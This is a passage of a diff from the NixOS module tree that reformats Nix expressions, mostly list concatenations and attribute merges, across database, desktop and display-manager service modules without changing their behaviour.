+  // (lib.optionalAttrs (cfg.bind != null) { bind = cfg.bind; })
+  // (lib.optionalAttrs (cfg.requirePass != null) { requirepass = cfg.requirePass; })
+  // (lib.optionalAttrs (cfg.maxMemory != null) { maxmemory = cfg.maxMemory; })
+  // (lib.optionalAttrs (cfg.memcachePort != null) { memcache_port = cfg.memcachePort; })
+  // (lib.optionalAttrs (cfg.dbNum != null) { dbnum = cfg.dbNum; })
+  // (lib.optionalAttrs (cfg.cacheMode != null) { cache_mode = cfg.cacheMode; });
 in
 {
 
diff --git a/nixos/modules/services/databases/etcd.nix b/nixos/modules/services/databases/etcd.nix
index 051547d1dd5a..b0b7ca5516fa 100644
--- a/nixos/modules/services/databases/etcd.nix
+++ b/nixos/modules/services/databases/etcd.nix
@@ -180,10 +180,12 @@ in
       wantedBy = [ "multi-user.target" ];
       after = [
         "network-online.target"
-      ] ++ lib.optional config.networking.firewall.enable "firewall.service";
+      ]
+      ++ lib.optional config.networking.firewall.enable "firewall.service";
       wants = [
         "network-online.target"
-      ] ++ lib.optional config.networking.firewall.enable "firewall.service";
+      ]
+      ++ lib.optional config.networking.firewall.enable "firewall.service";
 
       environment =
         (lib.filterAttrs (n: v: v != null) {
diff --git a/nixos/modules/services/databases/foundationdb.nix b/nixos/modules/services/databases/foundationdb.nix
index 18f197890b79..5cce94ac6d5e 100644
--- a/nixos/modules/services/databases/foundationdb.nix
+++ b/nixos/modules/services/databases/foundationdb.nix
@@ -353,14 +353,13 @@ in
     assertions = [
       {
         assertion = lib.versionOlder cfg.package.version "6.1" -> cfg.traceFormat == "xml";
-        message =
-          ''
-            Versions of FoundationDB before 6.1 do not support configurable trace formats (only XML is supported).
-            This option has no effect for version ''
-          + cfg.package.version
-          + ''
-            , and enabling it is an error.
-          '';
+        message = ''
+          Versions of FoundationDB before 6.1 do not support configurable trace formats (only XML is supported).
+          This option has no effect for version ''
+        + cfg.package.version
+        + ''
+          , and enabling it is an error.
+        '';
       }
     ];
 
@@ -408,7 +407,8 @@ in
             cfg.logDir
             cfg.pidfile
             "/etc/foundationdb"
-          ] ++ cfg.extraReadWritePaths;
+          ]
+          ++ cfg.extraReadWritePaths;
         in
         {
           Type = "simple";
diff --git a/nixos/modules/services/databases/influxdb2.nix b/nixos/modules/services/databases/influxdb2.nix
index 3dea70f6b848..18b183d65c01 100644
--- a/nixos/modules/services/databases/influxdb2.nix
+++ b/nixos/modules/services/databases/influxdb2.nix
@@ -415,54 +415,53 @@ in
   };
 
   config = mkIf cfg.enable {
-    assertions =
-      [
-        {
-          assertion = !(hasAttr "bolt-path" cfg.settings) && !(hasAttr "engine-path" cfg.settings);
-          message = "services.influxdb2.config: bolt-path and engine-path should not be set as they are managed by systemd";
-        }
-      ]
-      ++ flatten (
-        flip mapAttrsToList cfg.provision.organizations (
-          orgName: org:
-          flip mapAttrsToList org.auths (
-            authName: auth: [
+    assertions = [
+      {
+        assertion = !(hasAttr "bolt-path" cfg.settings) && !(hasAttr "engine-path" cfg.settings);
+        message = "services.influxdb2.config: bolt-path and engine-path should not be set as they are managed by systemd";
+      }
+    ]
+    ++ flatten (
+      flip mapAttrsToList cfg.provision.organizations (
+        orgName: org:
+        flip mapAttrsToList org.auths (
+          authName: auth: [
+            {
+              assertion =
+                1 == count (x: x) [
+                  auth.operator
+                  auth.allAccess
+                  (
+                    auth.readPermissions != [ ]
+                    || auth.writePermissions != [ ]
+                    || auth.readBuckets != [ ]
+                    || auth.writeBuckets != [ ]
+                  )
+                ];
+              message = "influxdb2: provision.organizations.${orgName}.auths.${authName}: The `operator` and `allAccess` options are mutually exclusive with each other and the granular permission settings.";
+            }
+            (
+              let
+                unknownBuckets = subtractLists (attrNames org.buckets) auth.readBuckets;
+              in
               {
-                assertion =
-                  1 == count (x: x) [
-                    auth.operator
-                    auth.allAccess
-                    (
-                      auth.readPermissions != [ ]
-                      || auth.writePermissions != [ ]
-                      || auth.readBuckets != [ ]
-                      || auth.writeBuckets != [ ]
-                    )
-                  ];
-                message = "influxdb2: provision.organizations.${orgName}.auths.${authName}: The `operator` and `allAccess` options are mutually exclusive with each other and the granular permission settings.";
+                assertion = unknownBuckets == [ ];
+                message = "influxdb2: provision.organizations.${orgName}.auths.${authName}: Refers to invalid buckets in readBuckets: ${toString unknownBuckets}";
               }
-              (
-                let
-                  unknownBuckets = subtractLists (attrNames org.buckets) auth.readBuckets;
-                in
-                {
-                  assertion = unknownBuckets == [ ];
-                  message = "influxdb2: provision.organizations.${orgName}.auths.${authName}: Refers to invalid buckets in readBuckets: ${toString unknownBuckets}";
-                }
-              )
-              (
-                let
-                  unknownBuckets = subtractLists (attrNames org.buckets) auth.writeBuckets;
-                in
-                {
-                  assertion = unknownBuckets == [ ];
-                  message = "influxdb2: provision.organizations.${orgName}.auths.${authName}: Refers to invalid buckets in writeBuckets: ${toString unknownBuckets}";
-                }
-              )
-            ]
-          )
+            )
+            (
+              let
+                unknownBuckets = subtractLists (attrNames org.buckets) auth.writeBuckets;
+              in
+              {
+                assertion = unknownBuckets == [ ];
+                message = "influxdb2: provision.organizations.${orgName}.auths.${authName}: Refers to invalid buckets in writeBuckets: ${toString unknownBuckets}";
+              }
+            )
+          ]
         )
-      );
+      )
+    );
 
     services.influxdb2.provision = mkIf cfg.provision.enable {
       organizations.${cfg.provision.initialSetup.organization} = {
@@ -500,16 +499,15 @@ in
           "admin-token:${cfg.provision.initialSetup.tokenFile}"
         ];
 
-        ExecStartPost =
-          [
-            waitUntilServiceIsReady
-          ]
-          ++ (lib.optionals cfg.provision.enable (
-            [ provisioningScript ]
-            ++
-              # Only the restarter runs with elevated privileges
-              optional anyAuthDefined "+${restarterScript}"
-          ));
+        ExecStartPost = [
+          waitUntilServiceIsReady
+        ]
+        ++ (lib.optionals cfg.provision.enable (
+          [ provisioningScript ]
+          ++
+            # Only the restarter runs with elevated privileges
+            optional anyAuthDefined "+${restarterScript}"
+        ));
       };
 
       path = [
diff --git a/nixos/modules/services/databases/mysql.nix b/nixos/modules/services/databases/mysql.nix
index 59c868d6628e..778c62035182 100644
--- a/nixos/modules/services/databases/mysql.nix
+++ b/nixos/modules/services/databases/mysql.nix
@@ -406,30 +406,29 @@ in
   ###### implementation
 
   config = lib.mkIf cfg.enable {
-    assertions =
-      [
-        {
-          assertion = !cfg.galeraCluster.enable || isMariaDB;
-          message = "'services.mysql.galeraCluster.enable' expect services.mysql.package to be an mariadb variant";
-        }
-      ]
-      # galeraCluster options checks
-      ++ lib.optionals cfg.galeraCluster.enable [
-        {
-          assertion =
-            cfg.galeraCluster.localAddress != ""
-            && (cfg.galeraCluster.nodeAddresses != [ ] || cfg.galeraCluster.clusterAddress != "");
-          message = "mariadb galera cluster is enabled but the localAddress and (nodeAddresses or clusterAddress) are not set";
-        }
-        {
-          assertion = cfg.galeraCluster.clusterPassword == "" || cfg.galeraCluster.clusterAddress == "";
-          message = "mariadb galera clusterPassword is set but overwritten by clusterAddress";
-        }
-        {
-          assertion = cfg.galeraCluster.nodeAddresses != [ ] || cfg.galeraCluster.clusterAddress != "";
-          message = "When services.mysql.galeraCluster.clusterAddress is set, setting services.mysql.galeraCluster.nodeAddresses is redundant and will be overwritten by clusterAddress. Choose one approach.";
-        }
-      ];
+    assertions = [
+      {
+        assertion = !cfg.galeraCluster.enable || isMariaDB;
+        message = "'services.mysql.galeraCluster.enable' expect services.mysql.package to be an mariadb variant";
+      }
+    ]
+    # galeraCluster options checks
+    ++ lib.optionals cfg.galeraCluster.enable [
+      {
+        assertion =
+          cfg.galeraCluster.localAddress != ""
+          && (cfg.galeraCluster.nodeAddresses != [ ] || cfg.galeraCluster.clusterAddress != "");
+        message = "mariadb galera cluster is enabled but the localAddress and (nodeAddresses or clusterAddress) are not set";
+      }
+      {
+        assertion = cfg.galeraCluster.clusterPassword == "" || cfg.galeraCluster.clusterAddress == "";
+        message = "mariadb galera clusterPassword is set but overwritten by clusterAddress";
+      }
+      {
+        assertion = cfg.galeraCluster.nodeAddresses != [ ] || cfg.galeraCluster.clusterAddress != "";
+        message = "When services.mysql.galeraCluster.clusterAddress is set, setting services.mysql.galeraCluster.nodeAddresses is redundant and will be overwritten by clusterAddress. Choose one approach.";
+      }
+    ];
 
     services.mysql.dataDir = lib.mkDefault (
       if lib.versionAtLeast config.system.stateVersion "17.09" then "/var/lib/mysql" else "/var/mysql"
@@ -521,29 +520,28 @@ in
 
       unitConfig.RequiresMountsFor = cfg.dataDir;
 
-      path =
-        [
-          # Needed for the mysql_install_db command in the preStart script
-          # which calls the hostname command.
-          pkgs.nettools
-        ]
-        # tools 'wsrep_sst_rsync' needs
-        ++ lib.optionals cfg.galeraCluster.enable [
-          cfg.package
-          pkgs.bash
-          pkgs.gawk
-          pkgs.gnutar
-          pkgs.gzip
-          pkgs.inetutils
-          pkgs.iproute2
-          pkgs.netcat
-          pkgs.procps
-          pkgs.pv
-          pkgs.rsync
-          pkgs.socat
-          pkgs.stunnel
-          pkgs.which
-        ];
+      path = [
+        # Needed for the mysql_install_db command in the preStart script
+        # which calls the hostname command.
+        pkgs.nettools
+      ]
+      # tools 'wsrep_sst_rsync' needs
+      ++ lib.optionals cfg.galeraCluster.enable [
+        cfg.package
+        pkgs.bash
+        pkgs.gawk
+        pkgs.gnutar
+        pkgs.gzip
+        pkgs.inetutils
+        pkgs.iproute2
+        pkgs.netcat
+        pkgs.procps
+        pkgs.pv
+        pkgs.rsync
+        pkgs.socat
+        pkgs.stunnel
+        pkgs.which
+      ];
 
       preStart =
         if isMariaDB then
diff --git a/nixos/modules/services/databases/openldap.nix b/nixos/modules/services/databases/openldap.nix
index 6cf517d9dfdb..44affdfb0586 100644
--- a/nixos/modules/services/databases/openldap.nix
+++ b/nixos/modules/services/databases/openldap.nix
@@ -278,44 +278,43 @@ in
       '';
     in
     lib.mkIf cfg.enable {
-      assertions =
-        [
-          {
-            assertion = (cfg.declarativeContents != { }) -> cfg.configDir == null;
-            message = ''
-              Declarative DB contents (${lib.attrNames cfg.declarativeContents}) are not
-              supported with user-managed configuration.
-            '';
-          }
-        ]
-        ++ (map (dn: {
-          assertion = (lib.getAttr dn dbSettings) ? "olcDbDirectory";
-          # olcDbDirectory is necessary to prepopulate database using `slapadd`.
+      assertions = [
+        {
+          assertion = (cfg.declarativeContents != { }) -> cfg.configDir == null;
           message = ''
-            Declarative DB ${dn} does not exist in `services.openldap.settings`, or does not have
-            `olcDbDirectory` configured.
+            Declarative DB contents (${lib.attrNames cfg.declarativeContents}) are not
+            supported with user-managed configuration.
           '';
-        }) (lib.attrNames cfg.declarativeContents))
-        ++ (lib.mapAttrsToList (
-          dn:
-          {
-            olcDbDirectory ? null,
-            ...
-          }:
-          {
-            # For forward compatibility with `DynamicUser`, and to avoid accidentally clobbering
-            # directories with `declarativeContents`.
-            assertion =
-              (olcDbDirectory != null)
-              -> (
-                (lib.hasPrefix "/var/lib/openldap/" olcDbDirectory) && (olcDbDirectory != "/var/lib/openldap/")
-              );
-            message = ''
-              Database ${dn} has `olcDbDirectory` (${olcDbDirectory}) that is not a subdirectory of
-              `/var/lib/openldap/`.
-            '';
-          }
-        ) dbSettings);
+        }
+      ]
+      ++ (map (dn: {
+        assertion = (lib.getAttr dn dbSettings) ? "olcDbDirectory";
+        # olcDbDirectory is necessary to prepopulate database using `slapadd`.
+        message = ''
+          Declarative DB ${dn} does not exist in `services.openldap.settings`, or does not have
+          `olcDbDirectory` configured.
+        '';
+      }) (lib.attrNames cfg.declarativeContents))
+      ++ (lib.mapAttrsToList (
+        dn:
+        {
+          olcDbDirectory ? null,
+          ...
+        }:
+        {
+          # For forward compatibility with `DynamicUser`, and to avoid accidentally clobbering
+          # directories with `declarativeContents`.
+          assertion =
+            (olcDbDirectory != null)
+            -> (
+              (lib.hasPrefix "/var/lib/openldap/" olcDbDirectory) && (olcDbDirectory != "/var/lib/openldap/")
+            );
+          message = ''
+            Database ${dn} has `olcDbDirectory` (${olcDbDirectory}) that is not a subdirectory of
+            `/var/lib/openldap/`.
+          '';
+        }
+      ) dbSettings);
       environment.systemPackages = [ openldap ];
 
       # Literal attributes must always be set
@@ -343,22 +342,21 @@ in
         serviceConfig = {
           User = cfg.user;
           Group = cfg.group;
-          ExecStartPre =
-            [
-              "!${pkgs.coreutils}/bin/mkdir -p ${configDir}"
-              "+${pkgs.coreutils}/bin/chown $USER ${configDir}"
+          ExecStartPre = [
+            "!${pkgs.coreutils}/bin/mkdir -p ${configDir}"
+            "+${pkgs.coreutils}/bin/chown $USER ${configDir}"
+          ]
+          ++ (lib.optional (cfg.configDir == null) writeConfig)
+          ++ (lib.mapAttrsToList (
+            dn: content:
+            lib.escapeShellArgs [
+              writeContents
+              dn
+              (lib.getAttr dn dbSettings).olcDbDirectory
+              content
             ]
-            ++ (lib.optional (cfg.configDir == null) writeConfig)
-            ++ (lib.mapAttrsToList (
-              dn: content:
-              lib.escapeShellArgs [
-                writeContents
-                dn
-                (lib.getAttr dn dbSettings).olcDbDirectory
-                content
-              ]
-            ) contentsFiles)
-            ++ [ "${openldap}/bin/slaptest -u -F ${configDir}" ];
+          ) contentsFiles)
+          ++ [ "${openldap}/bin/slaptest -u -F ${configDir}" ];
           ExecStart = lib.escapeShellArgs ([
             "${openldap}/libexec/slapd"
             "-d"
@@ -374,11 +372,12 @@ in
           #   Got notification message from PID 6378, but reception only permitted for main PID 6377
           NotifyAccess = "all";
           RuntimeDirectory = "openldap";
-          StateDirectory =
-            [ "openldap" ]
-            ++ (map ({ olcDbDirectory, ... }: lib.removePrefix "/var/lib/" olcDbDirectory) (
-              lib.attrValues dbSettings
-            ));
+          StateDirectory = [
+            "openldap"
+          ]
+          ++ (map ({ olcDbDirectory, ... }: lib.removePrefix "/var/lib/" olcDbDirectory) (
+            lib.attrValues dbSettings
+          ));
           StateDirectoryMode = "700";
           AmbientCapabilities = [ "CAP_NET_BIND_SERVICE" ];
           CapabilityBoundingSet = [ "CAP_NET_BIND_SERVICE" ];
diff --git a/nixos/modules/services/databases/postgres-websockets.nix b/nixos/modules/services/databases/postgres-websockets.nix
index a83054a507cb..d2d5ba6d48f9 100644
--- a/nixos/modules/services/databases/postgres-websockets.nix
+++ b/nixos/modules/services/databases/postgres-websockets.nix
@@ -174,7 +174,8 @@ in
         CacheDirectoryMode = "0700";
         LoadCredential = [
           "jwt_secret:${cfg.jwtSecretFile}"
-        ] ++ lib.optional (cfg.pgpassFile != null) "pgpass:${cfg.pgpassFile}";
+        ]
+        ++ lib.optional (cfg.pgpassFile != null) "pgpass:${cfg.pgpassFile}";
         Restart = "always";
         User = "postgres-websockets";
 
diff --git a/nixos/modules/services/databases/postgresql.nix b/nixos/modules/services/databases/postgresql.nix
index dc8b05b46458..ae45ac9681f6 100644
--- a/nixos/modules/services/databases/postgresql.nix
+++ b/nixos/modules/services/databases/postgresql.nix
@@ -773,47 +773,46 @@ in
       '';
 
       # Wait for PostgreSQL to be ready to accept connections.
-      postStart =
-        ''
-          PSQL="psql --port=${builtins.toString cfg.settings.port}"
+      postStart = ''
+        PSQL="psql --port=${builtins.toString cfg.settings.port}"
 
-          while ! $PSQL -d postgres -c "" 2> /dev/null; do
-              if ! kill -0 "$MAINPID"; then exit 1; fi
-              sleep 0.1
-          done
+        while ! $PSQL -d postgres -c "" 2> /dev/null; do
+            if ! kill -0 "$MAINPID"; then exit 1; fi
+            sleep 0.1
+        done
 
-          if test -e "${cfg.dataDir}/.first_startup"; then
-            ${optionalString (cfg.initialScript != null) ''
-              $PSQL -f "${cfg.initialScript}" -d postgres
-            ''}
-            rm -f "${cfg.dataDir}/.first_startup"
-          fi
-        ''
-        + optionalString (cfg.ensureDatabases != [ ]) ''
-          ${concatMapStrings (database: ''
-            $PSQL -tAc "SELECT 1 FROM pg_database WHERE datname = '${database}'" | grep -q 1 || $PSQL -tAc 'CREATE DATABASE "${database}"'
-          '') cfg.ensureDatabases}
-        ''
-        + ''
-          ${concatMapStrings (
-            user:
-            let
-              dbOwnershipStmt = optionalString user.ensureDBOwnership ''$PSQL -tAc 'ALTER DATABASE "${user.name}" OWNER TO "${user.name}";' '';
+        if test -e "${cfg.dataDir}/.first_startup"; then
+          ${optionalString (cfg.initialScript != null) ''
+            $PSQL -f "${cfg.initialScript}" -d postgres
+          ''}
+          rm -f "${cfg.dataDir}/.first_startup"
+        fi
+      ''
+      + optionalString (cfg.ensureDatabases != [ ]) ''
+        ${concatMapStrings (database: ''
+          $PSQL -tAc "SELECT 1 FROM pg_database WHERE datname = '${database}'" | grep -q 1 || $PSQL -tAc 'CREATE DATABASE "${database}"'
+        '') cfg.ensureDatabases}
+      ''
+      + ''
+        ${concatMapStrings (
+          user:
+          let
+            dbOwnershipStmt = optionalString user.ensureDBOwnership ''$PSQL -tAc 'ALTER DATABASE "${user.name}" OWNER TO "${user.name}";' '';
 
-              filteredClauses = filterAttrs (name: value: value != null) user.ensureClauses;
+            filteredClauses = filterAttrs (name: value: value != null) user.ensureClauses;
 
-              clauseSqlStatements = attrValues (mapAttrs (n: v: if v then n else "no${n}") filteredClauses);
+            clauseSqlStatements = attrValues (mapAttrs (n: v: if v then n else "no${n}") filteredClauses);
 
-              userClauses = ''$PSQL -tAc 'ALTER ROLE "${user.name}" ${concatStringsSep " " clauseSqlStatements}' '';
-            in
-            ''
-              $PSQL -tAc "SELECT 1 FROM pg_roles WHERE rolname='${user.name}'" | grep -q 1 || $PSQL -tAc 'CREATE USER "${user.name}"'
-              ${userClauses}
+            userClauses = ''$PSQL -tAc 'ALTER ROLE "${user.name}" ${concatStringsSep " " clauseSqlStatements}' '';
+          in
+          ''
+            $PSQL -tAc "SELECT 1 FROM pg_roles WHERE rolname='${user.name}'" | grep -q 1 || $PSQL -tAc 'CREATE USER "${user.name}"'
+            ${userClauses}
 
-              ${dbOwnershipStmt}
-            ''
-          ) cfg.ensureUsers}
-        '';
+            ${dbOwnershipStmt}
+          ''
+        ) cfg.ensureUsers}
+      '';
 
       serviceConfig = mkMerge [
         {
diff --git a/nixos/modules/services/databases/victorialogs.nix b/nixos/modules/services/databases/victorialogs.nix
index 9d1324b2821e..a7b6d3ced654 100644
--- a/nixos/modules/services/databases/victorialogs.nix
+++ b/nixos/modules/services/databases/victorialogs.nix
@@ -23,7 +23,8 @@ let
     "${cfg.package}/bin/victoria-logs"
     "-storageDataPath=/var/lib/${cfg.stateDir}"
     "-httpListenAddr=${cfg.listenAddress}"
-  ] ++ cfg.extraOptions;
+  ]
+  ++ cfg.extraOptions;
 in
 {
   options.services.victorialogs = {
diff --git a/nixos/modules/services/databases/victoriametrics.nix b/nixos/modules/services/databases/victoriametrics.nix
index e22b85371c3a..9a5dccb5fa5b 100644
--- a/nixos/modules/services/databases/victoriametrics.nix
+++ b/nixos/modules/services/databases/victoriametrics.nix
@@ -9,15 +9,14 @@ let
   cfg = config.services.victoriametrics;
   settingsFormat = pkgs.formats.yaml { };
 
-  startCLIList =
-    [
-      "${cfg.package}/bin/victoria-metrics"
-      "-storageDataPath=/var/lib/${cfg.stateDir}"
-      "-httpListenAddr=${cfg.listenAddress}"
+  startCLIList = [
+    "${cfg.package}/bin/victoria-metrics"
+    "-storageDataPath=/var/lib/${cfg.stateDir}"
+    "-httpListenAddr=${cfg.listenAddress}"
 
-    ]
-    ++ lib.optionals (cfg.retentionPeriod != null) [ "-retentionPeriod=${cfg.retentionPeriod}" ]
-    ++ cfg.extraOptions;
+  ]
+  ++ lib.optionals (cfg.retentionPeriod != null) [ "-retentionPeriod=${cfg.retentionPeriod}" ]
+  ++ cfg.extraOptions;
   prometheusConfigYml = checkedConfig (
     settingsFormat.generate "prometheusConfig.yaml" cfg.prometheusConfig
   );
diff --git a/nixos/modules/services/desktop-managers/lomiri.nix b/nixos/modules/services/desktop-managers/lomiri.nix
index 187b14b71b57..7bd580053e95 100644
--- a/nixos/modules/services/desktop-managers/lomiri.nix
+++ b/nixos/modules/services/desktop-managers/lomiri.nix
@@ -252,19 +252,18 @@ in
 
       systemd.services = {
         "dbus-com.lomiri.UserMetrics" = {
-          serviceConfig =
-            {
-              Type = "dbus";
-              BusName = "com.lomiri.UserMetrics";
-              User = "usermetrics";
-              StandardOutput = "syslog";
-              SyslogIdentifier = "com.lomiri.UserMetrics";
-              ExecStart = "${pkgs.lomiri.libusermetrics}/libexec/libusermetrics/usermetricsservice";
-            }
-            // lib.optionalAttrs (!config.security.apparmor.enable) {
-              # Due to https://gitlab.com/ubports/development/core/libusermetrics/-/issues/8, auth must be disabled when not using AppArmor, lest the next database usage breaks
-              Environment = "USERMETRICS_NO_AUTH=1";
-            };
+          serviceConfig = {
+            Type = "dbus";
+            BusName = "com.lomiri.UserMetrics";
+            User = "usermetrics";
+            StandardOutput = "syslog";
+            SyslogIdentifier = "com.lomiri.UserMetrics";
+            ExecStart = "${pkgs.lomiri.libusermetrics}/libexec/libusermetrics/usermetricsservice";
+          }
+          // lib.optionalAttrs (!config.security.apparmor.enable) {
+            # Due to https://gitlab.com/ubports/development/core/libusermetrics/-/issues/8, auth must be disabled when not using AppArmor, lest the next database usage breaks
+            Environment = "USERMETRICS_NO_AUTH=1";
+          };
         };
       };
 
diff --git a/nixos/modules/services/desktop-managers/plasma6.nix b/nixos/modules/services/desktop-managers/plasma6.nix
index 1835eacbab1f..94bce4882c78 100644
--- a/nixos/modules/services/desktop-managers/plasma6.nix
+++ b/nixos/modules/services/desktop-managers/plasma6.nix
@@ -154,34 +154,33 @@ in
           systemsettings
           kcmutils
         ];
-        optionalPackages =
-          [
-            plasma-browser-integration
-            konsole
-            (lib.getBin qttools) # Expose qdbus in PATH
-            ark
-            elisa
-            gwenview
-            okular
-            kate
-            khelpcenter
-            dolphin
-            baloo-widgets # baloo information in Dolphin
-            dolphin-plugins
-            spectacle
-            ffmpegthumbs
-            krdp
-            xwaylandvideobridge # exposes Wayland windows to X11 screen capture
-          ]
-          ++ lib.optionals config.hardware.sensor.iio.enable [
-            # This is required for autorotation in Plasma 6
-            qtsensors
-          ]
-          ++ lib.optionals config.services.flatpak.enable [
-            # Since PackageKit Nix support is not there yet,
-            # only install discover if flatpak is enabled.
-            discover
-          ];
+        optionalPackages = [
+          plasma-browser-integration
+          konsole
+          (lib.getBin qttools) # Expose qdbus in PATH
+          ark
+          elisa
+          gwenview
+          okular
+          kate
+          khelpcenter
+          dolphin
+          baloo-widgets # baloo information in Dolphin
+          dolphin-plugins
+          spectacle
+          ffmpegthumbs
+          krdp
+          xwaylandvideobridge # exposes Wayland windows to X11 screen capture
+        ]
+        ++ lib.optionals config.hardware.sensor.iio.enable [
+          # This is required for autorotation in Plasma 6
+          qtsensors
+        ]
+        ++ lib.optionals config.services.flatpak.enable [
+          # Since PackageKit Nix support is not there yet,
+          # only install discover if flatpak is enabled.
+          discover
+        ];
       in
       requiredPackages
       ++ utils.removePackagesByName optionalPackages config.environment.plasma6.excludePackages
diff --git a/nixos/modules/services/desktops/geoclue2.nix b/nixos/modules/services/desktops/geoclue2.nix
index b9d423acf9f3..ef27e8135717 100644
--- a/nixos/modules/services/desktops/geoclue2.nix
+++ b/nixos/modules/services/desktops/geoclue2.nix
@@ -336,16 +336,15 @@ in
         modem-gps = {
           enable = cfg.enableModemGPS;
         };
-        wifi =
-          {
-            enable = cfg.enableWifi;
-          }
-          // lib.optionalAttrs cfg.enableWifi {
-            url = cfg.geoProviderUrl;
-            submit-data = lib.boolToString cfg.submitData;
-            submission-url = cfg.submissionUrl;
-            submission-nick = cfg.submissionNick;
-          };
+        wifi = {
+          enable = cfg.enableWifi;
+        }
+        // lib.optionalAttrs cfg.enableWifi {
+          url = cfg.geoProviderUrl;
+          submit-data = lib.boolToString cfg.submitData;
+          submission-url = cfg.submissionUrl;
+          submission-nick = cfg.submissionNick;
+        };
         static-source = {
           enable = cfg.enableStatic;
         };
diff --git a/nixos/modules/services/desktops/gnome/gnome-initial-setup.nix b/nixos/modules/services/desktops/gnome/gnome-initial-setup.nix
index f130b820b716..e0241f02b969 100644
--- a/nixos/modules/services/desktops/gnome/gnome-initial-setup.nix
+++ b/nixos/modules/services/desktops/gnome/gnome-initial-setup.nix
@@ -67,11 +67,10 @@ in
 
   config = lib.mkIf config.services.gnome.gnome-initial-setup.enable {
 
-    environment.systemPackages =
-      [
-        pkgs.gnome-initial-setup
-      ]
-      ++ lib.optional (lib.versionOlder config.system.stateVersion "20.03") createGisStampFilesAutostart;
+    environment.systemPackages = [
+      pkgs.gnome-initial-setup
+    ]
+    ++ lib.optional (lib.versionOlder config.system.stateVersion "20.03") createGisStampFilesAutostart;
 
     systemd.packages = [
       pkgs.gnome-initial-setup
diff --git a/nixos/modules/services/desktops/pipewire/pipewire.nix b/nixos/modules/services/desktops/pipewire/pipewire.nix
index 5f1de7e63f3f..148dbe424068 100644
--- a/nixos/modules/services/desktops/pipewire/pipewire.nix
+++ b/nixos/modules/services/desktops/pipewire/pipewire.nix
@@ -445,7 +445,8 @@ in
         extraGroups = [
           "audio"
           "video"
-        ] ++ optional config.security.rtkit.enable "rtkit";
+        ]
+        ++ optional config.security.rtkit.enable "rtkit";
         description = "PipeWire system service user";
         isSystemUser = true;
         home = "/var/lib/pipewire";
diff --git a/nixos/modules/services/development/jupyter/default.nix b/nixos/modules/services/development/jupyter/default.nix
index e6c05dd56884..4ed82b1e3d50 100644
--- a/nixos/modules/services/development/jupyter/default.nix
+++ b/nixos/modules/services/development/jupyter/default.nix
@@ -202,7 +202,8 @@ in
 
         environment = {
           JUPYTER_PATH = toString kernels;
-        } // cfg.extraEnvironmentVariables;
+        }
+        // cfg.extraEnvironmentVariables;
 
         serviceConfig = {
           Restart = "always";
diff --git a/nixos/modules/services/development/zammad.nix b/nixos/modules/services/development/zammad.nix
index ac659e9fa527..d350b4f192d6 100644
--- a/nixos/modules/services/development/zammad.nix
+++ b/nixos/modules/services/development/zammad.nix
@@ -269,17 +269,16 @@ in
         # loading all the gems takes time
         TimeoutStartSec = 1200;
       };
-      after =
-        [
-          "network.target"
-          "systemd-tmpfiles-setup.service"
-        ]
-        ++ lib.optionals (cfg.database.createLocally) [
-          "postgresql.service"
-        ]
-        ++ lib.optionals cfg.redis.createLocally [
-          "redis-${cfg.redis.name}.service"
-        ];
+      after = [
+        "network.target"
+        "systemd-tmpfiles-setup.service"
+      ]
+      ++ lib.optionals (cfg.database.createLocally) [
+        "postgresql.service"
+      ]
+      ++ lib.optionals cfg.redis.createLocally [
+        "redis-${cfg.redis.name}.service"
+      ];
       requires = lib.optionals (cfg.database.createLocally) [
         "postgresql.service"
       ];
diff --git a/nixos/modules/services/display-managers/greetd.nix b/nixos/modules/services/display-managers/greetd.nix
index ece50eda7927..9dcffe4ea0ce 100644
--- a/nixos/modules/services/display-managers/greetd.nix
+++ b/nixos/modules/services/display-managers/greetd.nix
@@ -84,14 +84,13 @@ in
         Wants = [
           "systemd-user-sessions.service"
         ];
-        After =
-          [
-            "systemd-user-sessions.service"
-            "getty@${tty}.service"
-          ]
-          ++ lib.optionals (!cfg.greeterManagesPlymouth) [
-            "plymouth-quit-wait.service"
-          ];
+        After = [
+          "systemd-user-sessions.service"
+          "getty@${tty}.service"
+        ]
+        ++ lib.optionals (!cfg.greeterManagesPlymouth) [
+          "plymouth-quit-wait.service"
+        ];
         Conflicts = [
           "getty@${tty}.service"
         ];
diff --git a/nixos/modules/services/display-managers/sddm.nix b/nixos/modules/services/display-managers/sddm.nix
index 9f70867be423..d8ce1e231b3c 100644
--- a/nixos/modules/services/display-managers/sddm.nix
+++ b/nixos/modules/services/display-managers/sddm.nix
@@ -50,71 +50,68 @@ let
     ${cfg.stopScript}
   '';
 
-  defaultConfig =
-    {
-      General =
-        {
-          HaltCommand = "/run/current-system/systemd/bin/systemctl poweroff";
-          RebootCommand = "/run/current-system/systemd/bin/systemctl reboot";
-          Numlock = if cfg.autoNumlock then "on" else "none"; # on, off none
+  defaultConfig = {
+    General = {
+      HaltCommand = "/run/current-system/systemd/bin/systemctl poweroff";
+      RebootCommand = "/run/current-system/systemd/bin/systemctl reboot";
+      Numlock = if cfg.autoNumlock then "on" else "none"; # on, off none
 
-          # Implementation is done via pkgs/applications/display-managers/sddm/sddm-default-session.patch
-          DefaultSession = optionalString (
-            config.services.displayManager.defaultSession != null
-          ) "${config.services.displayManager.defaultSession}.desktop";
-
-          DisplayServer = if cfg.wayland.enable then "wayland" else "x11";
-        }
-        // optionalAttrs (cfg.wayland.enable && cfg.wayland.compositor == "kwin") {
-          GreeterEnvironment = "QT_WAYLAND_SHELL_INTEGRATION=layer-shell";
-          InputMethod = ""; # needed if we are using --inputmethod with kwin
-        };
-
-      Theme =
-        {
-          Current = cfg.theme;
-          ThemeDir = "/run/current-system/sw/share/sddm/themes";
-          FacesDir = "/run/current-system/sw/share/sddm/faces";
-        }
-        // optionalAttrs (cfg.theme == "breeze") {
-          CursorTheme = "breeze_cursors";
-          CursorSize = 24;
-        };
-
-      Users = {
-        MaximumUid = config.ids.uids.nixbld;
-        HideUsers = concatStringsSep "," dmcfg.hiddenUsers;
-        HideShells = "/run/current-system/sw/bin/nologin";
-      };
-
-      Wayland = {
-        EnableHiDPI = cfg.enableHidpi;
-        SessionDir = "${dmcfg.sessionData.desktops}/share/wayland-sessions";
-        CompositorCommand = lib.optionalString cfg.wayland.enable cfg.wayland.compositorCommand;
-      };
+      # Implementation is done via pkgs/applications/display-managers/sddm/sddm-default-session.patch
+      DefaultSession = optionalString (
+        config.services.displayManager.defaultSession != null
+      ) "${config.services.displayManager.defaultSession}.desktop";
 
+      DisplayServer = if cfg.wayland.enable then "wayland" else "x11";
     }
-    // optionalAttrs xcfg.enable {
-      X11 = {
-        MinimumVT = if xcfg.tty != null then xcfg.tty else 7;
